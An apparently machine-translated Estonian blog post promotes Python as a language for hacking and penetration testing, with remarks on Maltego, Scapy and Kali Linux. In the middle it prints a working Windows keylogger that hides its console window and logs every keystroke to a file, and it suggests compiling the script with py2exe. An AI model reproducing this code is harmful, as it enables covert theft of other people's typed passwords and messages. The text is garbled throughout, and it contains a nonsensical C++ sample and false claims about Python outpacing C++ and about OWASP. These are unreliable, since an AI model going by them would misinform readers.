Grey Hat Python - nii et kaks aastat tagasi tegelesin programmeerimiskeelte uurimisega, hakkasin lugema C, C ++, Assembly, Python ja Ruby kohta. Tahtsin saada küberturvalisuse eksperdiks. Niisiis, ma hakkasin õppima nii palju kui võimalik. Alustades sellest, et C, C ++ ja C # on põhitõed ning pärast paljude programmide ja viiruste õppimist ja koostamist hakkasin lõpuks õppima Kali Linuxit. Neile, kes ei tea, mis on Kali Linux, on see läbitungimise testimise opsüsteem. Niisiis, ma jätkasin oma õpinguid ja nägin, et enamik programme, viirusi ja troojalasi oli komponeeritud Pythonis ja nende baasiks oli Ruby.

Niisiis, ma katkestasin oma õpingud praegu ja asusin õppima Pythoni või täpsemini halli mütsi Pythoni ja tadaat … See oli äärmiselt lihtne, kui võrrelda seda C, C # või mõne muu minu õpitud keelega. Lõpuks sain teada, miks Python oli enim kasutatud keel ja kuidas see kuulsaks sai.
Niisiis, täna arutaksin selle üle, kuidas Python muutus hallmütsiks Pythoniks ja miks seda nii laialdaselt kasutatakse, et isegi Google ja YouTube kasutavad seda oma andmebaasis võimalikult täpsete otsingutulemuste pakkumiseks.

Alustades on Python kõrgetasemeline programmeerimiskeel, mis tähendab, et selle süntaksit on äärmiselt lihtne lugeda isegi algajatele. Kui olete programmeerimises uus, soovitaksin teil seda alustada. Lubage mul tuua teile näide:

Nii näeb see välja C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Nii näeb see Java välja:

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Ja kuidas see Pythonis (v2.7) välja näeb

print "Hello World"

Lihtne? Jah see on. Niisiis, Python polnud mitte ainult lihtne kirjutada ja mõista, vaid ka väga kompaktne. Ehk siis võiksite küsida, kuidas see Grey Hat Pythoni viis?

Soovitatavad kursused

  • IP marsruutimise koolitus
  • Häkkimise koolituskursus
  • Täielik RMANi koolitus
  • Pythoni programmeerimise koolitus

Python vs hallmüts Python

Niisiis, mis täpselt on hallimütsi python? Miks see erineb nii tavalisest Pythonist? Asi on selles, et hallmüts Python pole midagi muud, kui häkkerite, Network-Stressi testijate ja pöördprojekteerijate poolt Pythoni kirjutatud programmid programmi loomiseks või mõrandamiseks. Kuid terminit hall müts kasutatakse seetõttu, et see pole just kasulik ega kasutaja tarkvara. Seda kasutatakse turvamiseks või turvatõmbava tarkvara loomiseks.

Seda saab hõlpsalt kasutada turvalise keskkonna piirangute testimiseks või turvalisse keskkonda sisenemiseks. Just seda tähendab hall müts. Ja palju lihtsam on seda teha Pythonis, selle asemel, et teha seda C, C ++ või javas. Seega nimi Hall Hat Python. Mõned näited, millest võin mõelda, on järgmised:

• Võtmelogerite kirjutamine (häkkeritele ja penteritele)
• Turvakoore skriptide kirjutamine (võrguadministraatoritele)
• Automatiseeritud IDS-i (sissetungimise tuvastamise süsteemi turbeinseneride) kirjutamine

Niisiis, nüüd teate, miks ja kuidas on halli mütsipütoon kasulik. Selle täpsustamiseks lubage mul tuua teile mõned üksikasjalikud näited.
Võib-olla olete Google App Engineist kuulnud. Google App Engine loodi algselt Pythonis enne selle teisaldamist. Google App on sobiv näide Pythonis kirjutatud programmist, kuna see võimaldab veebirakenduste loomiseks oma tipptasemel rikkaliku raamatukogude, tööriistade ja raamistiku abil.

Kas olete kunagi mõelnud, miks on Google'is nii lihtne otsida? Enamasti saadakse otsingutulemid, mis on 80% täpsed. Selle põhjuseks on asjaolu, et Python on äärmiselt paindlik, töötab suure kiirusega ja andmebaasid on palju kompaktsemad, ehkki see talletab n-ö arvu andmeid. Python on nii laiendatav, et isegi YouTube kasutab seda näiteks videote vaatamiseks, mallide juhtimiseks, video haldamiseks, kanoonilistele andmetele juurdepääsuks ja paljuks muuks.

Google'il on indekseerijad ja ämblikud, kes koguvad andmeid niipea, kui see veebis üles laaditakse, olenemata sellest, kus või kui turvaline see on. Selle teabe kogumiseks on vaja ainult korralikku inspiratsiooni, aega ja teadmisi.

Google'i otsingud põhinesid varem Pythonil, mis hiljem muudeti kiiruse optimeerimiseks väärtuseks C ++, kuna Google'i indeksoijatel indekseeritakse mitu lehekülge sekundis ja igaühel neist kulub edukaks indekseerimiseks mõni minut. Python on praegu palju kiirem kui C ++, kuid see polnud sama juhtum paarkümmend aastat tagasi.

Seal oli kuulus tsitaat, mida Google tsiteeris: -
"Python kus saame, C ++ kus peame."

Niisiis võiksite küsida, kuidas seda saab kasutada häkkimise, pestimise ja võrguturbe jaoks. Ma palun erineda. Kui saaksite luua programmi, mis on tõhusate otsingutulemuste andmisel 70–80% täpne, siis võite tõenäoliselt ehitada rakenduse, mis ühendab veebisaite, otsida nutikalt ja luua inimese profiili, mida saab pigem kasutada üksikute mustade mütsidena pahatahtlikel eesmärkidel. Jätke üksikisikud kõrvale, kui üks on piisavalt nutikas, saab hõlpsasti luua rakenduse ettevõtte profiili ehitamiseks, kogu puu juurtest kuni ükskõik, mis aimata võite.

Teabe kogumine Maltego kaudu

Võib-olla mõtled, et liialdan natuke. Ei, ma EI OLE!

Mõelge näidetele nagu Maltego. Maltego on tarkvara või oskan seda paremini ümber nimetada avatud lähtekoodiga kohtuekspertiisi rakenduseks, mis on loodud teabe kogumiseks ja inimeste, ettevõtete ja muude korporatiivsete agentuuride profiilide koostamiseks.

Peate lihtsalt sisestama rakendusse õiged andmed ja ülejäänud asjad, näiteks e-kirjade, inimeste, inimrühmade linkimine, isegi sellise Interneti-infrastruktuuri määramise nagu domeenid, DNS-i nimed, võrguplokid ja IP-aadressid saab selle avatud lähtekoodiga luureteabe abil linkida ja omavahel ühendada. .

Lisateabe saamiseks külastage, et teada saada, mis on Maltego?

Seega, kui juurdepääs salajasele teabele määrab teie edu, võib Maltego aidata teil selle avastada. Maltego on osaliselt kirjutatud Pythonis ja kasutab ka Java, mis on jällegi suurepärane keel.

Nii palju on vaja tsiteerida Google'i turvalisuse kohta. Täpsemalt öeldes on Google kõige vähem viis, kuidas saate end veebis anonüümsena hoida, pole vahet, kas kasutate Chrome'i inkognito või www.duckduckgo.com. Sest lõppkokkuvõttes värskendatakse veebis kõike. Siinkohal on mõte mitte haavatavusest, vaid absoluutsest haavatavusest. Internetist ei saa ennast täielikult puhtaks pühkida. Kuid kindlasti saab proovida hoida veebis võimalikult vähe teavet.

Python pole ainult keel, vaid ka skriptikeel. Skriptikeeled võimaldavad teil oma tööriistu kirjutada, neid muuta, kui vajate midagi tavapärasemat. Need võrguturbe tööriistad on laiendatavuse osas sõltuvad suuresti skriptikeelest. Võtame näiteks Scapy.

Scapy on kirjutatud puhtalt Pythonis. See on võimas interaktiivne pakettide manipuleerimise tööriist. See võib ise genereerida võltspakette, skaneerida võrke ja isegi nuusutada pakette võrgus.

Lisateavet selle kohta, mis on Scapy?

Nüüd on tegemist keerukate programmeerijate kirjutatud keerukate programmidega. Vaatame, kui lihtne on Pythonis programmi kirjutada, mis on hõlpsasti arusaadav inimestele, kellel on programmeerimisel häid põhitõdesid.

See on Pythonis kirjutatud klahvilukk:

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Niisiis, see on palju rohkem kui lihtne, kui te minult küsite. Lisasin lihtsalt moodulid pyhook, Pythoncom, Win32gui ja Win32console, mille saate hõlpsalt Sourceforge'i veebisaidilt alla laadida, ja mainisin kommentaare räsi-sildi abil. Aga kui ma pean sama programmi kirjutama C ++, vaatame, kui raske see võib olla.

See on programm, mis on kirjutatud C ++ keeles: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Nii et see on Pythoniga võrreldes üsna suur. Ja kui me räägime efektiivsusest, siis saab Pythoni tarkvara py2exe abil hõlpsalt kompileerida käivitatavaks failiks. Kui ma räägin C ++-st, siis ausalt öeldes on see kood nali. Õige võtmelogi kirjutamiseks tuleb kirjutada DLL, mis rakendab WH_KEYBOARD konksu. Pealegi on see kood kaugel sellest, et seda oleks algajale kerge mõista.

Avatud lähtekoodiga häkkimine

Nüüd hoolitseb see Black Hat'i häkkerite eest, täpsemalt öeldes on inimesed, kes kavatsevad andmeid hävitada, enda vajadustega manipuleerida. Turvaküsimustest rääkides on Python kasulik ka White Hat'i häkkeritele, kes kavatsevad ühiskonna päästa pahatahtlike häkkerite rünnakutest. Kui soovite karjääri arendada või soovite vähemalt turvaalaste teadusuuringute jaoks Pythoni õppida, siis võite kindlasti süveneda OWASP, BRO või Quick NIX Secure Scripti abil.

OWASP on avatud veebirakenduste turvaprojekt. OWASP eesmärk on luua Pythoni turvalisem versioon, mis hõlbustab turvaspetsialistidel ja arendajatel häkkerite rünnakutele vähem altid tarkvara kirjutamist. See on seotud Black-Boxi analüüsiga, turbega seotud probleemide väljaselgitamise ja käsitlemisega, mis võivad mõjutada Pythoni interaktiivset tõlki.

BRO on võrguturbe ja liikluse jälgimise programm, samas kui Quick NIXit kasutatakse failide omandiõiguse parandamiseks ja turvamiseks lennult.

Kuna me räägime turvalisusest, siis räägime opsüsteemist, mis põhineb osaliselt Pythonil. Python töötab suurepäraselt koos UNIX, LINUX ja Debianiga. Üks kuulsamaid opsüsteeme oli Backtrack 5. Välja anti erinevaid versioone. See oli spetsiaalselt loodud PenTestinguks. Hiljem arvasid solvava turvalisuse inimesed, et Backtrack vajab taaskäivitust, kuna enamik tööriistu kas ei töötanud korralikult või neid ei toetatud.

Hiljem andsid nad välja Kali Linuxi, mis põhines täielikult Debianil. Ja suurem osa selle raamistikust on kas rubiinides või Pythonis. Ka rubiin on vinge skriptikeel. Kuid ma eelistaksin igal ajal Pythonit selle asemel, kuna Pythonil on Linuxiga mitmekesisem kogukond ning selle otsenemat ja hõlpsamat silumist. Kuigi Rubiinil on palju funktsioone ja kiire kohanemine ümbritseva keskkonnaga, võib seda olla raske siluda, seda on raske lugeda ja ta on keerukam kui Python.

Parim näide oleks Apple'i või Linuxi võrdlemine või iPhone'i ja Androidi võrdlemine. Apple on ressursirikas ja äärmiselt sujuv ning on rohkem kallutatud algajatele. Linux / Android on kasutajasõbralikum, pisut laguline ja võib mõnikord peavalu tekitada, kui te ei tea, kuidas seda konfigureerida või hooldada.

Seal on isegi raamat, mis põhineb Justin Seitzi Pythoni halli mütsi häkkimisel. See tegeleb konkreetselt tüütute pöördprojekteerimise ja turbega seotud ülesannete automatiseerimisega, teie siluri kujundamise, teegi ja DLL-i süstimise kavandamisega, krüptitud seansi kaudu turvalise liikluse nuusutamisega ja Immunity siluri, Sulley ja paljude teiste kasutamisega. See on fantastiline raamat, pole tähtis, kas olete algaja või olete asjatundja, õpite alati iga kord, kui seda loete, mõnda või teist asja.

Järeldus

Niisiis, kui olete algaja, oleks Python teie jaoks õige valik, kui alustada oma esimese programmeerimise turvalisuse testimiskeelega.

Pidage ainult meeles, et lõpuks pole halli mütsi Python ainult keel, vaid viis asjade korrektseks ja kiireks tegemiseks.

Esimene pildi allikas: pixabay.com

Seotud artiklid:-

Siin on mõned artiklid, mis aitavad teil halli mütsi pythoni kohta rohkem üksikasju saada, nii et lihtsalt minge lingi kaudu.

  1. Küberturvalisuse tööriistade eelised Te peate olema teadlik
  2. Karjäär Pythonis
  3. 25 parimat hämmastavat Pythoni intervjuu küsimust ja vastust
  4. Millised on Pythoni kasutamise eelised ja piirangud?
  5. Python vs Node.js
  6. Küberturvalisuse intervjuu küsimuste juhend
  7. Eri tüüpi turbekontrolli tööriistad

Kategooria: